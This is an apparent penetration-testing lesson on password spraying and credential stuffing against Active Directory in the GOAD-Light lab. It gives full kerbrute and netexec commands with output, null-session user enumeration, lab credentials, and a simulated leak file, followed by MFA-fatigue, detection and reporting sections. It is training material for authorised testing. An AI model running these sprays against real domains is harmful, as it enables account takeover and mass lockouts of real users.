Password Spraying and Credential Stuffing on Active Directory

After SMTP and SMB enumeration or Responder gives you usernames, Active Directory password spraying is the next step: test one candidate password across many accounts to reduce how quickly failed attempts accumulate per account. Credential stuffing replays username-and-password pairs from an old breach where people reused passwords.

This lesson runs both techniques from Kali against GOAD-Light on eth1. You will read lockout policy (and Fine-Grained Password Policies where they exist), enumerate users with Kerbrute, spray over Kerberos with kerbrute and over SMB/LDAP with netexec, then walk a short breach-style credential list. The closing sections cover detection signals, MFA fatigue, and how federated login changes where passwords are tested.

Password spraying vs credential stuffing

Both attacks guess passwords, but the input shape and the lockout risk differ.

Spraying assumes password reuse across people: if Password1 works anywhere, you want to find that account without locking out admin after five guesses. Stuffing assumes the pair already worked somewhere else; you are checking whether the victim reused it on this domain.

MITRE ATT&CK tracks password spraying as T1110.003, and credential stuffing as T1110.004.

Prepare Active Directory for a controlled password spray

Lockout policy, clock sync, and a clean username list matter as much as the spray command. Skipping preparation is how assessments trip break-glass accounts or burn the whole user population in one round.

GOAD-Light lab variables

All attack traffic stays on the isolated vmbr1 segment. Kali is the only machine that runs spray tools.

Set lab variables once per shell on Kali:

LAB_IF=eth1
LAB_DC_CHILD=10.10.10.21
DOMAIN_CHILD=north.sevenkingdoms.local
export LAB_IF LAB_DC_CHILD DOMAIN_CHILD
export SPRAY_BIND_USER='samwell.tarly@north.sevenkingdoms.local'
export SPRAY_BIND_PASS='Heartsbane'

SPRAY_BIND_USER / SPRAY_BIND_PASS are a known GOAD-Light lab account pair (also hinted in --users output on samwell.tarly). Use them only for read-only LDAP checks such as Fine-Grained Password Policy enumeration — not as spray passwords for the whole domain.

Point DNS at the child DC so Kerberos and LDAP names resolve the way the tools expect. Back up your resolver file first — NetworkManager may overwrite it later:

sudo cp /etc/resolv.conf /etc/resolv.conf.bak
echo "nameserver $LAB_DC_CHILD" | sudo tee /etc/resolv.conf

Confirm the lab NIC is up before you spray:

ip -br a show "$LAB_IF"

eth1             UP             10.10.10.10/24

Restore normal DNS when you leave the lab: sudo cp /etc/resolv.conf.bak /etc/resolv.conf.

Sync Kali and domain controller time

Kerberos rejects tickets when the client clock drifts more than a few minutes from the domain controller. SMB logins through netexec may still work while kerbrute and impacket-getTGT fail with KRB_AP_ERR_SKEW.

Read the DC time over SMB, then set Kali to match:

nmap -p445 --script smb2-time "$LAB_DC_CHILD"

| smb2-time:
|   date: 2026-08-31T15:58:00
|_  start_date: N/A

Set Kali UTC to the timestamp you saw (adjust for your lab run):

sudo timedatectl set-timezone UTC
sudo date -u -s '2026-08-31 15:58:00'

Re-check after VM suspend or snapshot restore — clock skew is the first thing to fix when Kerberos spray returns zero hits but SMB spray succeeds.

Check account lockout policy

Before you spray Active Directory, learn how many failed attempts lock an account. On GOAD-Light you can read the default domain policy over a null SMB session — pass empty credentials explicitly:

nxc smb "$LAB_DC_CHILD" -u '' -p '' --pass-pol

Trimmed output from this lab:

SMB                      10.10.10.21     445    WINTERFELL       [+] Dumping password info for domain: NORTH
SMB                      10.10.10.21     445    WINTERFELL       Minimum password length: 5
SMB                      10.10.10.21     445    WINTERFELL       Password history length: 24
SMB                      10.10.10.21     445    WINTERFELL       Reset Account Lockout Counter: 5 minutes
SMB                      10.10.10.21     445    WINTERFELL       Locked Account Duration: 5 minutes
SMB                      10.10.10.21     445    WINTERFELL       Account Lockout Threshold: 5

This domain locks an account after five bad passwords, then clears the counter after five minutes. Plan one password per spray round, pause between rounds, and stay inside the threshold your RoE allows.

nxc ldap --pass-pol on this lab requires a successful LDAP bind — anonymous policy read over LDAP returned no policy. Use nxc smb -u '' -p '' --pass-pol when null session allows it.

Check for Fine-Grained Password Policies

The default domain policy is not necessarily the effective policy for every account. Active Directory can apply Password Settings Objects (PSOs) to selected users and groups through Fine-Grained Password Policies (FGPP), giving them different lockout thresholds and observation windows.

A threshold of five on the default policy does not tell you how many failures lock a VIP, a service account, or anyone covered by a PSO. Before a client spray, enumerate PSOs when you have LDAP read access:

ldapsearch -x -H ldap://"$LAB_DC_CHILD" \
  -D "$SPRAY_BIND_USER" -w "$SPRAY_BIND_PASS" \
  -b 'CN=Password Settings Container,CN=System,DC=north,DC=sevenkingdoms,DC=local' \
  -s sub '(objectClass=msDS-PasswordSettings)' \
  dn msDS-LockoutThreshold msDS-LockoutObservationWindow

On GOAD-Light this search returned no PSO objects — every account inherits the default domain lockout settings shown above. Real domains often define one or more PSOs for privileged groups. Note any stricter threshold before you calculate spray risk.

Build and validate the username list

You need valid sAMAccountName values before any spray. Null-session user listing worked on this GOAD instance — again with empty credentials:

mkdir -p ~/spray-lab
nxc smb "$LAB_DC_CHILD" -u '' -p '' --users

Trimmed user rows from the lab:

SMB                      10.10.10.21     445    WINTERFELL       arya.stark                    2026-08-28 19:02:08 0       Arya Stark
SMB                      10.10.10.21     445    WINTERFELL       sansa.stark                   2026-08-28 19:02:24 0       Sansa Stark
SMB                      10.10.10.21     445    WINTERFELL       brandon.stark                 2026-08-28 19:02:28 0       Brandon Stark
SMB                      10.10.10.21     445    WINTERFELL       samwell.tarly                 2026-08-28 19:02:43 0       Samwell Tarly (Password : Heartsbane)
SMB                      10.10.10.21     445    WINTERFELL       jon.snow                      2026-08-28 19:02:40 0       Jon Snow

The description field on samwell.tarly is a lab hint, not something you should rely on in a real engagement — but it is useful for verifying your spray workflow.

Pull usernames into a line-oriented wordlist:

nxc smb "$LAB_DC_CHILD" -u '' -p '' \
  --users-export ~/spray-lab/north-users-raw.txt
grep -v -E '^(Guest|krbtgt|Administrator|sql_svc)$' \
  ~/spray-lab/north-users-raw.txt > ~/spray-lab/north-users-prep.txt

Exclude sensitive accounts before spraying. The grep above removes built-ins and the lab sql_svc service account. Open the file and manually delete anything else your RoE excludes:

• Break-glass and emergency-access accounts
• Other service identities (backup agents, scanner accounts)
• Executives or VIPs if the engagement excludes them
• Monitored decoy or test accounts the blue team watches
• Accounts already close to lockout (see below)
• Any account whose effective lockout policy you have not confirmed (including PSO-covered users)

Save the reviewed list as your spray file:

cp ~/spray-lab/north-users-prep.txt ~/spray-lab/north-users.txt
wc -l ~/spray-lab/north-users.txt

8 north-users.txt

Eight accounts is enough for this walkthrough. Merge in emails from OSINT only when your scope includes those addresses and the format matches first.last for this domain.

Check accounts already near lockout

A domain threshold of five does not mean every account currently has five attempts available. Users mistyping passwords, scheduled tasks, phones, or stale services may already have generated failures. Before you spray, check badPwdCount and badPasswordTime where your LDAP access allows it and exclude accounts close to the effective threshold.

Microsoft documents that badPwdCount and badPasswordTime are non-replicated — each domain controller maintains its own copy. In a multi-DC production domain, one controller's count is not necessarily the whole picture. Query the DC you will authenticate against, or check several DCs when scope allows.

When you have an LDAP bind with read access:

ldapsearch -x -H ldap://"$LAB_DC_CHILD" \
  -D "$SPRAY_BIND_USER" -w "$SPRAY_BIND_PASS" \
  -b 'DC=north,DC=sevenkingdoms,DC=local' -s sub '(objectClass=user)' \
  sAMAccountName badPwdCount badPasswordTime

Trimmed output from this lab after earlier spray activity:

badPwdCount: 5
sAMAccountName: arya.stark
badPwdCount: 5
sAMAccountName: sansa.stark
badPwdCount: 0
sAMAccountName: brandon.stark

arya.stark and sansa.stark are already at the lockout threshold on this DC — remove them from north-users.txt before another spray round. Accounts with badPwdCount at threshold minus one deserve the same caution.

Enumerate AD users with Kerbrute

Kerbrute validates principals over Kerberos without needing a password. Use it to clean an OSINT-derived list before you spray Active Directory.

Install Kerbrute

Kali ships netexec but does not always include kerbrute on the PATH. Download the release binary on a machine with Internet access, then copy it to Kali through your jump host:

curl.exe -fsSL -o kerbrute_linux_amd64 https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64
scp -J user@jump-host kerbrute_linux_amd64 root@kali-lab:/usr/local/bin/kerbrute

On Kali, mark it executable and confirm the version string:

sudo chmod +x /usr/local/bin/kerbrute
kerbrute version

Version: v1.0.3
Commit: 9dad6e171abdc7491f587c793aa05411264a3393
Built: 12/15/19

If GitHub is unreachable from the lab network, build from the same tag on Kali with Go, or stage the binary through your file-transfer path — the commands below assume kerbrute is on PATH.

kerbrute userenum

kerbrute userenum sends Kerberos AS-REQ traffic and distinguishes valid principals from random names:

kerbrute userenum --dc "$LAB_DC_CHILD" -d "$DOMAIN_CHILD" ~/spray-lab/north-users.txt

Trimmed output:

2026/08/31 15:58:26 >  Using KDC(s):
2026/08/31 15:58:26 >  	10.10.10.21:88
2026/08/31 15:58:26 >  [+] VALID USERNAME:	 brandon.stark@north.sevenkingdoms.local
2026/08/31 15:58:26 >  [+] VALID USERNAME:	 samwell.tarly@north.sevenkingdoms.local
2026/08/31 15:58:26 >  Done! Tested 8 usernames (8 valid) in 0.009 seconds

When a username is wrong, kerbrute prints KDC_ERR_C_PRINCIPAL_UNKNOWN in verbose mode — drop those lines from your spray file.

Password spray Active Directory with Kerbrute

Kerbrute password spraying sends one password per Kerberos AS-REQ round across the whole user list. That matches how AD password spraying is supposed to work: many users, one guess, then wait.

One-password spray

kerbrute passwordspray takes a user list and one password on the command line — not a password file. Run it once per candidate password:

kerbrute passwordspray -d "$DOMAIN_CHILD" --dc "$LAB_DC_CHILD" \
  --delay 200 --safe ~/spray-lab/north-users.txt Heartsbane

A hit prints VALID LOGIN in green on stdout:

2026/08/31 15:59:17 >  Using KDC(s):
2026/08/31 15:59:17 >  	10.10.10.21:88
2026/08/31 15:59:17 >  Delay set. Using single thread and delaying 200ms between attempts
2026/08/31 15:59:18 >  [+] VALID LOGIN:	 samwell.tarly@north.sevenkingdoms.local:Heartsbane
2026/08/31 15:59:19 >  Done! Tested 8 logins (1 successes) in 1.818 seconds

Wait at least the configured observation/reset-counter interval after the last failed attempt for the accounts in that round, plus any additional safety margin required by the RoE. Then spray the next candidate:

kerbrute passwordspray -d "$DOMAIN_CHILD" --dc "$LAB_DC_CHILD" \
  --delay 200 --safe ~/spray-lab/north-users.txt iseedeadpeople

2026/08/31 15:59:36 >  [+] VALID LOGIN:	 brandon.stark@north.sevenkingdoms.local:iseedeadpeople
2026/08/31 15:59:37 >  Done! Tested 8 logins (1 successes) in 1.808 seconds

If you already sprayed heavily while testing, restore the goad-clean snapshot on Proxmox before the next lesson.

--safe and --delay explained

• --delay 200 — wait 200 ms between attempts so you do not hammer the KDC in a single burst.
• --safe — stop the run when kerbrute sees a locked-out user, instead of continuing through the list and amplifying lockouts.

Both flags are useful on client domains where one bad round should not cascade. They do not replace reading lockout policy — they only slow the damage.

What Kerberos responses mean

Record each valid pair with source (spray round, tool, timestamp) for your report. Valid domain creds feed the next lessons — BloodHound collection starts from a user like brandon.stark.

Password spray AD with NetExec

netexec (invoked as nxc) validates the same pairs over SMB or LDAP. Use it when you want protocol confirmation, SMB password spraying, or when Kerberos is blocked but NTLM login still works. If you found older guides searching for CrackMapExec password spraying, NetExec (nxc) is the maintained successor and uses the same general -u users.txt -p PASSWORD workflow.

SMB spray

Spray one password across the user file on SMB:

nxc smb "$LAB_DC_CHILD" -u ~/spray-lab/north-users.txt -p Heartsbane \
  -d "$DOMAIN_CHILD" --continue-on-success

SMB                      10.10.10.21     445    WINTERFELL       [-] north.sevenkingdoms.local\arya.stark:Heartsbane STATUS_LOGON_FAILURE
SMB                      10.10.10.21     445    WINTERFELL       [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane

Repeat for the next password in a separate command after your pause window — do not pass multiple passwords in one run unless your RoE explicitly allows it.

LDAP spray

LDAP bind spray follows the same pattern and is useful when SMB egress is filtered but TCP 389 is open:

nxc ldap "$LAB_DC_CHILD" -u ~/spray-lab/north-users.txt -p iseedeadpeople \
  -d "$DOMAIN_CHILD" --continue-on-success

LDAP                     10.10.10.21     389    WINTERFELL       [-] north.sevenkingdoms.local\arya.stark:iseedeadpeople
LDAP                     10.10.10.21     389    WINTERFELL       [+] north.sevenkingdoms.local\brandon.stark:iseedeadpeople

[+] on either protocol is enough to treat the pair as valid for lab reporting. In production, confirm with a second protocol or klist on a joined test host when scope allows.

Kerbrute vs NetExec

Kerbrute is built for Kerberos spray pacing. NetExec is the better choice when you need SMB/LDAP confirmation, policy enumeration, or remote execution after you land a pair. On a Windows foothold, DomainPasswordSpray is a common alternative because it can use AD information directly; this Kali walkthrough stays with Kerbrute and NetExec.

Credential stuffing against Active Directory

Credential stuffing replays known pairs. It is related to spraying but not the same attack — you are testing specific username:password combinations from a breach, not one password against everyone.

Test known username/password pairs

Format a simulated leak file with one username:password per line:

cat > ~/spray-lab/leaked-creds.txt <<'EOF'
brandon.stark:iseedeadpeople
samwell.tarly:Heartsbane
arya.stark:NotARealPassword
EOF

Test each pair individually with netexec:

nxc smb "$LAB_DC_CHILD" -u brandon.stark -p iseedeadpeople -d "$DOMAIN_CHILD"

SMB                      10.10.10.21     445    WINTERFELL       [+] north.sevenkingdoms.local\brandon.stark:iseedeadpeople

The second pair should succeed the same way:

nxc smb "$LAB_DC_CHILD" -u samwell.tarly -p Heartsbane -d "$DOMAIN_CHILD"

SMB                      10.10.10.21     445    WINTERFELL       [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane

A wrong password on a valid user may return STATUS_LOGON_FAILURE or, after earlier spray activity, STATUS_ACCOUNT_LOCKED_OUT:

nxc smb "$LAB_DC_CHILD" -u arya.stark -p NotARealPassword -d "$DOMAIN_CHILD"

SMB                      10.10.10.21     445    WINTERFELL       [-] north.sevenkingdoms.local\arya.stark:NotARealPassword STATUS_ACCOUNT_LOCKED_OUT

Lockouts during stuffing are a finding for the client — note them in the report and stop testing that account until the window resets or the blue team unlocks it.

For long breach files, script the loop but keep per-account attempt counts inside RoE. Hash-only leaks belong in offline cracking lessons, not in live stuffing against AD.

Avoid Cartesian spraying

Never pass a username file and password file together when your intent is credential stuffing unless the tool supports pairwise mode. Many tools will create a Cartesian brute-force combination instead — every user against every password — which looks like stuffing but behaves like a lockout-heavy brute force.

Your simulated pair list is the right shape: one line per pair, tested one at a time.

MFA and federated authentication

Password spraying stops at the password. Many enterprises add MFA on VPN, OWA, or cloud sign-in. Federated identity can also move the login surface away from plain LDAP on the DC.

MFA fatigue

MFA fatigue (also called push bombing) is a social attack: the adversary already has a valid password and spams MFA prompts until the user approves one.

This lesson does not run MFA fatigue in the GOAD lab — there is no push notification plane on the child DC. For PenTest+ you should still recognize the pattern:

• Attacker obtains password through spray, stuffing, or a prior Responder capture.
• Attacker triggers repeated MFA challenges on a federated or cloud login endpoint.
• User approves out of annoyance; attacker lands a session despite MFA being "enabled."

Defenses include number matching, context-aware policies, FIDO2 hardware keys, and rate limits on push frequency. Document whether MFA was in scope and whether push fatigue was explicitly allowed before you simulate it on a client.

OIDC and SAML context

Modern apps delegate login to an identity provider (IdP) using OpenID Connect (OIDC) or SAML instead of exposing LDAP to the Internet. Spraying still applies to synchronized AD passwords: Entra ID password hash sync and pass-through authentication can make the same weak password valid in the cloud.

Federated-only accounts without password sync may reject sprayed AD passwords on the IdP while legacy SMB on-prem still accepts them — map both paths in discovery. OIDC and SAML add another layer attackers target after passwords succeed or fail; they do not replace lockout policy on AD.

Detect and report password spraying

Defenders correlate authentication telemetry when investigating spray. Kerberos password spraying can generate events such as 4768 (TGT request) and 4771 (Kerberos pre-authentication failure). Failed Windows logons may appear as 4625 where applicable. Account lockout is commonly 4740.

Patterns to flag: one source IP authenticating to many usernames with the same or similar password over a short window, especially when 4771 failures cluster before a single 4768 success.

For each finding in your report, capture:

• Tool and protocol (kerbrute Kerberos, nxc smb, nxc ldap)
• Username, password or source list name (never paste client passwords into public tickets)
• Timestamp in UTC and source IP of the tester (10.10.10.10 in this lab)
• Whether the account locked (event 4740 on the DC) and whether you paused per RoE
• Recommended fix: unique passwords, MFA with phishing-resistant factors, breached-password block lists, and Entra smart lockout or equivalent

Troubleshooting

Summary

Active Directory password spraying turns a username list into domain credentials when you read policy first, check per-account failure counts where LDAP allows, and pace each round. On GOAD-Light you checked lockout threshold (and confirmed no FGPP on this lab), harvested users with netexec, synced Kali's clock for Kerberos, and sprayed one password at a time with kerbrute and nxc. Credential stuffing replayed a short breach-style file and showed how lockouts still surface when pairs fail.

The main operational lesson is preparation: default domain policy plus any PSO, one password per round, delay between attempts, and explicit RoE for lockouts. Kerberos spray fails silently when the clock drifts — always compare smb2-time before you blame the wordlist.

MFA fatigue and federated OIDC/SAML logins sit above password attacks in many real environments. Weak AD passwords can still matter when hash sync or legacy SMB paths remain. After you hold valid creds, move to BloodHound path mapping or Kerberoasting for service-account hashes — not more spraying on the same accounts.

References

• MITRE ATT&CK T1110.003 — Password Spraying
• MITRE ATT&CK T1110.004 — Credential Stuffing
• Fine-grained password policy management (Microsoft)
• Microsoft Entra ID smart lockout
• Microsoft badPwdCount attribute
• kerbrute — GitHub releases